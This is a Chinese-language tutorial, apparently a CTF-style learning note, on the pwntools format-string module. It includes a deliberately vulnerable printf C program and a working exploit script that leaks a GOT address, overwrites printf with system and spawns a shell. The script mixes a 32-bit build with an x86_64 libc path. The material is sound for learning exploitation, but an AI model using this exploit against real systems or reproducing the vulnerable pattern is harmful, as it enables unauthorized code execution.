pwntools提供了pwnlib.fmtstr的格式字符串漏洞利用的工具, 熟悉该工具的使用显然是有益的
可以查看源码
该模块中主要定义了一个类FmtStr和一个函数fmtstr_payload
class FmtStr(object):
def __init__(self, execute_fmt, offset=None, padlen=0, numbwritten=0):
self.execute_fmt = execute_fmt
self.offset = offset
self.padlen = padlen
self.numbwritten = numbwritten
if self.offset is None:
self.offset, self.padlen = self.find_offset()
log.info("Found format string offset: %d", self.offset)
self.writes = {}
self.leaker = MemLeak(self._leaker)
...
execute_fmt, 交互函数
offset(=None), 第一个格式化程序的偏移量
padlen(=0), payload之前填充的字节数
numbwritten(=0), 已写入的字节数
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy="small", badbytes=frozenset(), offset_bytes=0):
sz = WRITE_SIZE[write_size]
szmax = WRITE_SIZE[write_size_max]
all_atoms = make_atoms(writes, sz, szmax, numbwritten, overflows, strategy, badbytes)
fmt = b""
for _ in range(1000000):
data_offset = (offset_bytes + len(fmt)) // context.bytes
fmt, data = make_payload_dollar(offset + data_offset, all_atoms, numbwritten=numbwritten)
fmt = fmt + cyclic((-len(fmt)-offset_bytes) % context.bytes)
if len(fmt) + offset_bytes == data_offset * context.bytes:
break
else:
raise RuntimeError("this is a bug ... format string building did not converge")
return fmt + data
offset, 第一个格式化程序的偏移量
writes, 往addr里写入value值
numbwritten=0, 已经由printf写入的字节数
write_size=‘byte’, 指定逐byte/short/int写
来个栗子
#include<stdio.h>
#include<string.h>
int main(){
char str[1024];
while(1){
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
gcc -m32 -fno-stack-protector -no-pie fmtstr.c -o fmtstr -g
利用方式是将printf()的地址改成system(), 这样下次输入"/bin/sh"就能拿shell
断点到printf, 查看变量的偏移量
接下来查看printf()的GOT地址, 虚拟地址, 和system()的虚拟地址
注意虚拟地址需要的是运行时地址, 加载libc时才有system符号, 另外非运行和运行时地址不一样
有了偏移量和printf()的GOT地址, 虚拟地址, 和system()的虚拟地址就可以写exploit了
from pwn import *
elf = ELF('fmtstr')
io = process('./fmtstr')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
#TODO: change it depanding on your file`s local position
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
printf_got = elf.got['printf']
payload = p32(printf_got) + '%{}$s'.format(offset)
io.send(payload)
printf_addr = u32(io.recv()[4:8])
system_addr = libc.symbols['system'] + (printf_addr - libc.symbols['printf'])
log.info("system_addr => %s" % hex(system_addr))
payload = fmtstr_payload(offset, {printf_got: system_addr})
io.send(payload)
io.send('/bin/sh')
io.recv()
io.interactive()
先泄漏printf_addr, 通过相对地址偏移量计算出system_addr, 覆盖地址即可
拿到shell!
坑点总结
注意是
elf.got[’’], 不是
elf.got(’’)
注意符号, 这里浪费了很多时间和心情